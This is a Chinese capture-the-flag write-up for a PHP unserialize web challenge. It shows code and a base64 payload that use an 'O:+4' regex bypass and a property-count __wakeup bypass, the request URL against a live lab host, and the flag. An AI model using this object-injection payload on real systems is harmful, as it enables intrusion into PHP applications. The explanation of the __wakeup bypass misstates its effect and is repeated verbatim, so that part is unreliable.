1、题目描述

攻防世界—web—Web_php_unserialize插图

2、

攻防世界—web—Web_php_unserialize插图(1)

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

攻防世界—web—Web_php_unserialize插图(2)

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)

6、在源代码中我们需要绕过几个函数

7、运行代码可以看到序列后的结果

O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}

将a的值进行编码

攻防世界—web—Web_php_unserialize插图(3)

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

 

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

攻防世界—web—Web_php_unserialize插图(4)

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

本站无任何商业行为
个人在线分享 » 攻防世界—web—Web_php_unserialize
E-->